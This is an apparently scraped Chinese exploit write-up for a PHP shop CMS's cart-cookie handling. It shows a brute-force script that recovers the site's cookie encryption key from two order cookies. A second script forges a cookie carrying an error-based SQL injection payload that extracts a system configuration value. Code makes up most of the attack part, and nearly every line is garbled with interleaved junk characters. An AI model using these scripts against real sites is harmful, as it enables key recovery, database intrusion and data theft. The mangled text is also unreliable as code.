www.xxx.com/plus/search.php?keyword=6 h' E" Q, P6 C" O6 e
在 include/shopcar.class.php中
" T7 W. ~' X! B+ f& [9 g b/ I# i* ~; f先看一下这个shopcar类是如何生成cookie的
1 L S' G, J2 m8 b }9 w/ i! h" G239 function saveCookie($key,$value)
, u& H. B0 \" b7 \$ y: q240 {
4 }* C5 S6 f$ [2 I0 |9 |241 if(is_array($value))7 o' }* `2 F% J" J, Q8 j. c
242 {
; H' Y3 \! Q$ B r243 $value = $this->enCrypt($this->enCode($value));
. Q1 \! W; c% }4 S* ?244 }6 o0 C1 R( y/ J( d2 D2 F
245 else; P; | _% u& G
246 {
5 @4 r4 s- w2 H0 v247 $value = $this->enCrypt($value);5 p) O+ q/ W9 p, l
248 }
$ |+ |: _% m5 l249 setcookie($key,$value,time()+36000,’/');' Q7 D, _: c2 F q% }
250 }; k5 A6 L; X8 G: J3 D5 P4 [
简单的说,$key就是cookie的key,value就是value,enCode的作用是将array类型转变为a=yy&b=cc&d=know这样的类型,关键是enCrypt函数8 [" ]& v) \" M/ _7 ~# ^
186 function enCrypt($txt)
# x. V! ]0 u3 Z7 Y% z: p6 a6 N0 h" s187 {
2 T0 i+ |% w7 }# d7 d188 srand((double)microtime() * 1000000);
. _- q' n6 K% k7 l( k189 $encrypt_key = md5(rand(0, 32000));
) f' q" f/ H; @5 S3 _' H8 B7 F190 $ctr = 0; Z0 I5 B, Y, g7 a
191 $tmp = ”;4 L6 N9 z* t9 l2 U; \* w
192 for($i = 0; $i < strlen($txt); $i++)3 m6 u" t- g4 k4 p& q# _+ U
193 {
3 A: R( N% y/ |% R; x; N194 $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
# ~" y4 k8 F' R2 Z195 $tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
) h- b6 O2 Y \2 h* o; }/ Q196 }
$ @$ E, T" b5 m I- n! y$ L197 return base64_encode($this->setKey($tmp));+ f5 m6 S$ ~3 X: S3 _
198 }
: @/ c4 S4 p4 \213 function setKey($txt)
0 u. v \$ `& @+ t$ }214 {
) z5 i) Y2 x+ n: p6 T3 C215 global $cfg_cookie_encode;& M1 ~( N- D" t) j: l* o7 b9 T
216 $encrypt_key = md5(strtolower($cfg_cookie_encode));) \$ d6 n+ u7 N$ a4 l
217 $ctr = 0;- N' v% F7 l. M7 M/ d/ J- N
218 $tmp = ”;0 r3 L9 Z! i. v# \$ L
219 for($i = 0; $i < strlen($txt); $i++): @- Z$ h K) f, z- M1 j
220 {# }8 d% P7 Z' X+ C' @1 D% @2 L6 w
221 $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
4 z+ P: J- T4 N3 E222 $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];) n5 o( t& ?7 \1 u0 d: J" r' T: f7 a
223 }# b0 M7 p. h6 l
224 return $tmp;/ r: o4 \5 z, h/ l8 Y4 |
225 }
5 ^ O4 ?6 x. t1 d6 A' q [enCrypt的参数$txt 我们是可知的,返回值就是cookie的值,这个我们也是可知的% w- n$ p. U& b {8 ]
然后到了enCrypt调用 setKey时的参数$tmp,这个参数在某种意义上,我们也是可知的,因为$encrypt_key = md5(rand(0, 32000));只有32000种可能,我们可以推出32000种可能的$tmp,从而推出32000种可能的md5(strtolower($cfg_cookie_encode)),对了,忘记说了,我们的目的是推测出setKey中$encrypt_key的值,然后才能任意构造出购物车的cookie,从推出的32000种md5(strtolower($cfg_cookie_encode)),简单过滤掉非字母数字的key,就只剩下几百个可能的key,然后我们再从新下一次订单,然后再获取几百个可能的key,然后取交集,得到最终key。, B" A2 u. D: ]) Y) ]; V
具体代码如下:) h) N$ ~5 K; `* D+ B
<?php. @% I/ A% K9 C4 {/ u* t0 B
$cookie1 = “X2lRPFNlCmlWc1cvAHNXMABjAToHbVcyB3ZXJFIwA20LIAlzU2ULPARyAmQGIVU5VyJbfFVsBiYNN1dsUG0DIl90UTFTLAo3VjBXYgBvVzgAZAEqBz9XagclVzBSbw==”; // here is the first cookie,change here
5 N2 h8 K1 w- X$cookie2 = “ADYCb1RiBmUDJghwUyAFYlIxW2BROwhtVCUIe1AyC2UOJVMpADYBNgJ0AmRUcw5iAncAJ1JrCSlQalBrAj8CIwArAmJUKwY7A2UIPVM8BWpSNltwUWkINVR2CG9QbQ==”; // here is the second cookie ,change here
0 _7 E" j3 I9 Y$ r ~4 k9 r6 y& a$plantxt = “id=2&price=0&units=fun&buynum=1&title=naduohua1″; // here is the text , change here1 s/ V! N& T7 C* h& n
function reStrCode($code,$string)9 k9 Q! a6 p# |. i/ n! T1 y2 M
{ ?, h$ A+ O6 w
$code = base64_decode($code);
% `" r3 M) X$ h6 Y' X1 H; I* v$key = “”;1 w, a V, d, e% g5 d
for($i=0 ; $i<32 ; $i++)9 \. ?# i- T+ g- F+ \ g8 r
{
9 f# x) ] Q3 L) t, I1 w) z$ m$key .= $string[$i] ^ $code[$i];
7 V0 H! ^: a+ T5 r( l' V" m}
- x% A) ^1 P1 a2 l/ I' K! Greturn $key;" R" _" y" j2 A0 s9 Z* ]
}; A2 K4 T$ P0 v3 t
function getKeys($cookie,$plantxt)! J$ U5 K+ g1 T: `! K
{
- x; e7 K0 T" {$tmp = $cookie;
- ^( f4 {& N4 H$ E/ H+ k) e- s- p$results = array();1 J. J" S& |8 n6 `+ e& @
for($j=0 ; $j < 32000; $j++)& e* |2 ^4 i$ O# d% b. ^6 l7 f4 R
{6 i1 x0 h9 ?4 w8 g8 c$ N: y2 y/ G0 z. C* Q) x
" {0 s* q+ z; c' v
$txt = $plantxt;* Z" T1 {! @3 ]1 b
$ctr = 0;% r; _( s, s; R [! L$ \2 V
$tmp = ”;2 _& I) h0 D. Z, h2 K. C4 |* M
$encrypt_key = md5($j);! j: T1 a1 o- g, `* q/ _
for($i =0; $i < strlen($txt); $i ++)/ b; U) S7 @- m# Y7 v$ v+ d
{; x* @: _! v8 G. r: V1 G6 L
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
1 k8 p0 s6 o) [0 A5 G* [# o, \$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);* L/ z: P+ o/ V4 V; t2 z# o; `/ U
}5 e; q% h. O, w# T
$string = $tmp;
1 E6 C9 P$ ~$ J/ _& s+ `, N g$code = $cookie;! {) W2 A, P4 F
$result = reStrCode($code,$string);
$ p. F& t* W: Uif(eregi(‘^[a-z0-9]+$’,$result))% E: D) ]; T8 `3 \- I
{1 Q$ x0 e6 z" e M+ Z
echo $result.”\n”;. X$ O$ R$ L+ k T
$results[] = $result;
& p% c6 T9 f: G$ w) o- d# w}
M# C8 i5 W' A2 ^ E! w3 u$ y}! c/ \' F& x2 O3 D$ o5 e
return $results;
@6 y; [# n' s' D% U: k5 A}
; v0 @6 j5 P+ n+ @$results1 = getKeys($cookie1,$plantxt);
* e( A/ b! R1 O$results2 = getKeys($cookie2,$plantxt);. `6 r$ i4 U9 T, e2 Z3 @' w
print “\n——————–real key————————–\n”;
. T& Y; F% W8 P- Pforeach($results1 as $test1)
+ v' i$ N) T* d" x: M) R{
" H+ J- ~" C. H0 j. T$ v: [foreach($results2 as $test2)" X. E/ m: R& L" m$ F
{
: Y9 T' L" j( k0 Xif($test1 == $test2)
+ Y' z" h0 g1 M+ R6 U+ u5 `{
S$ m5 g) D# K$ m+ Q9 q% S5 w" c. becho $test1.”\n”;
0 h" b9 ^ q' l% P' I( w9 ]}
/ b" F9 f6 X* F- S- c2 {, z* e. o* {}
! r& R, ~2 C, D1 R9 r1 k5 ]8 O+ t}; ]% Q6 S$ }5 D$ T$ r8 l1 }" N
?>" g3 O8 Y: J& f+ S
cookie1 和 cookie2 是我下了两次订单后分别生成的cookie,3 j5 e, T$ u/ a+ D
plantxt可以根据页面来自己推算,大概就是这个格式:id=2&price=0&units=fun&buynum=1&title=naduohua1
* U4 }2 j( o* J% Y: Q# s然后推算出md5(strtolower($cfg_cookie_encode))
' G I/ W6 {0 G& V/ N得到这个key之后,我们就可以构造任意购物车的cookie: O S3 E2 h! V
接着看
1 K4 F3 {# x4 j) g( m$ H6 O: M5 q# d20 class MemberShops
/ e- r7 V" I9 I/ |# \6 V21 {
/ j# T" e2 j1 T22 var $OrdersId; r- ~" ?: J6 i6 I% v7 `/ B0 W+ x
23 var $productsId;5 e' F h( A# q5 D' y
246 j/ l9 l4 s7 r2 b, e
25 function __construct()0 D P, ~! y" \0 ?6 `. E
26 {- l9 X' T1 w8 C$ o& c5 B, M; V
27 $this->OrdersId = $this->getCookie(“OrdersId”);, {0 }: s% h5 i0 t" q$ M! H
28 if(empty($this->OrdersId))
9 W6 y, K& Z1 g" p2 ~2 i29 {- R4 {- p: A! ~$ u9 v5 X. T
30 $this->OrdersId = $this->MakeOrders();* F3 O2 ]5 T, t6 q$ o
31 }% G. x- G) b0 Z6 @
32 }, a/ t* E* m1 I. B( f( g) k! n
发现OrderId是从cookie里面获取的% A9 T( ?7 N6 z, f d
然后
- u4 V9 R8 N1 L- y6 B. q& W/plus/carbuyaction.php中的
# k2 g. U$ w, d0 X7 }0 l- J! k K: G29 $cart = new MemberShops();( B9 K h4 Y! B9 K( {/ @/ I
39 $OrdersId = $cart->OrdersId; //本次记录的订单号
- g( X& O0 o9 Y: Y0 g7 V……
1 k$ k. X2 V- E D8 T( b" f0 Y173 $rows = $dsql->GetOne(“SELECT `oid` FROM #@__shops_orders WHERE oid=’$OrdersId’ LIMIT 0,1″);
5 B- S' P0 b0 n$ R: O接着我们就可以注入了0 n6 ~! W0 P) F3 z/ F1 O
通过利用下面代码生成cookie:
4 w% T, @7 R( w<?php
" h% Z9 y; {, H C$ l) c* Q$txt = “1′ or 1=@`\’` and (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((select value from #@__sysconfig where aid=3),1,62)))a from information_schema.tables group by a)b) or 1=@`\’` or ’1′=’1″;
1 Q5 j6 y2 I$ V0 L0 E7 ?$encrypt_key = “9f09293b7419ed68448fb51d5b174834″; // here is the key, please change here
$ Q: F+ B) p5 W1 t' \0 |9 y' Vfunction setKey($txt)
2 t# f- l% e7 l3 r4 _5 S0 q{& h: k. }, m8 i' |
global $encrypt_key;
2 q- t3 ~5 A% [) m( Q( W$ctr = 0;
" v3 Y: ]0 \, X9 X7 l/ _$tmp = ”;3 C4 K& {9 z, ? p* S
for($i = 0; $i < strlen($txt); $i++)3 j% T G, G) ]' m
{5 \& o2 Z5 i+ w$ Y# `( U9 Y
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
) w) }% ]) Q5 `3 d$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];8 X- d& a, l0 D
}
4 j1 [. d! y+ W; Sreturn $tmp;2 a* H* t) t$ {5 g; r6 l* [
}8 ]) {6 y! e; Q4 m
function enCrypt($txt)2 G9 P. @) \9 T! H2 f
{
2 x* V0 f" E/ h+ l& ]- i% b" Ysrand((double)microtime() * 1000000);
' C8 J6 z+ C' X. l' j9 ~$encrypt_key = md5(rand(0, 32000));
3 h3 o) c: E9 f0 R) R) ? O5 P- }$ctr = 0;& t8 E4 J4 @, T7 S2 T# _4 d* q
$tmp = ”;( W- _. s6 {! E% i u: A ~
for($i = 0; $i < strlen($txt); $i++) p- o4 M" k$ S
{& |% C7 F" @4 ^% T- t( x" @) h7 `
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
( U5 } d( Q7 _! z- |$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);& A/ z' k5 O! n+ B3 {0 u) Q; H
}
* l7 w' Y4 L$ l' Ureturn base64_encode(setKey($tmp));2 `9 z1 F+ ~ {' r6 b4 p
}6 y( w4 B9 c. t) h
for($dest =0;$dest = enCrypt($txt);)& F6 s% z: N2 ]0 q
{
9 y; I1 @& G, x/ H7 [if(!strpos($dest,’+'))7 W) A& C5 r) F6 E
{
( N) D5 y0 n% q& jbreak; E4 Y1 y8 U* ^% E( h
}
; Q* q) k5 F4 F+ G$ T; P9 o}
\ B$ [( p2 ~+ D4 mecho $dest.”\n”;1 P9 C3 S h( x
?>$ a9 \3 _! t' V. @
- h" v5 T% ]$ L1 k: Q. q; U
|